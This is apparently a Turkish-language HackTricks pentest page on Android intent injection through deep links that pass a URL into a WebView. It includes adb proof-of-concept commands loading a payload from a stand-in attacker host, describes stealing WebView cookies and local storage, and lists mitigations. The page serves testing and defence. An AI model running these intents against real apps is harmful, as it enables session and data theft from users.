Intent Injection
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Intent injection, saldırgan tarafından kontrol edilen Intents veya daha sonra Intents'e dönüştürülen verileri kabul eden bileşenleri istismar eder. Android uygulama pentestleri sırasında iki çok yaygın desen şunlardır:
- Özel, dışa aktarılmamış bileşenlere daha sonra iletilen dışa aktarılmış Activities/Services/BroadcastReceivers'a hazırlanmış ekler geçirme.
- Saldırgan tarafından kontrol edilen URL'leri içsel WebView'lara veya diğer hassas sink'lere yönlendiren dışa aktarılmış VIEW/BROWSABLE derin bağlantıları tetikleme.
Derin bağlantılar → WebView sink (URL parametre enjeksiyonu)
Eğer bir uygulama aşağıdaki gibi özel bir şemaya sahip derin bağlantı açıyorsa:
myscheme://com.example.app/web?url=<attacker_url>
ve alıcı Activity, url
sorgu parametresini bir WebView'a ilettiğinde, uygulamayı kendi WebView bağlamında keyfi uzak içeriği render etmeye zorlayabilirsiniz.
adb üzerinden PoC:
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"
Impact
- HTML/JS uygulamanın WebView profilinde çalıştırılır.
- JavaScript etkinse (varsayılan olarak veya yanlış sıralanmış kontroller nedeniyle), herhangi bir açık
@JavascriptInterface
nesnesini listeleyebilir/kullanabilir, WebView çerezlerini/yerel depolamayı çalabilir ve pivot yapabilirsiniz.
Ayrıca bakınız:
JavaScript'i etkinleştiren kontrol sırası hatası
Tekrarlayan bir hata, JavaScript'i (veya diğer izin verici WebView ayarlarını) son URL beyaz liste/doğrulama tamamlanmadan önce etkinleştirmektir. Erken yardımcılar derin bağlantınızı kabul ederse ve WebView önce yapılandırılırsa, son yüklemeniz JavaScript zaten etkinken gerçekleşir, daha sonraki kontroller hatalı veya çok geç olsa bile.
Decompile edilmiş kodda aramanız gerekenler:
- URL'yi farklı şekilde ayrıştıran/bölüp/yeniden inşa eden birden fazla yardımcı (tutarsız normalizasyon).
- Son host/path beyaz liste kontrolünden önce
getSettings().setJavaScriptEnabled(true)
çağrıları. - Aşağıdaki gibi bir işlem hattı: ayrıştır → kısmi doğrula → WebView'ı yapılandır → son doğrula → loadUrl.
Mitigations
- Bir kez kanonikleştir ve sıkı bir şekilde doğrula; kapalı başar.
- Tüm kontroller geçtikten sonra ve yalnızca güvenilir içerik yüklemeden hemen önce JavaScript'i etkinleştir.
- Güvenilmeyen kökenlere köprüler açmaktan kaçının.
Diğer klasik Intent enjeksiyon primitifleri
- saldırgan tarafından sağlanan
Intent
ekleri kullanarak startActivity/sendBroadcast, daha sonra yeniden ayrıştırılır (Intent.parseUri(...)
) ve yürütülür. - İzin kontrolü olmadan Intents'i dışa aktarılmamış hassas bileşenlere ileten dışa aktarılmış proxy bileşenleri.
References
- Android – Access to app-protected components
- Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
- Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
- Demonstration video
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.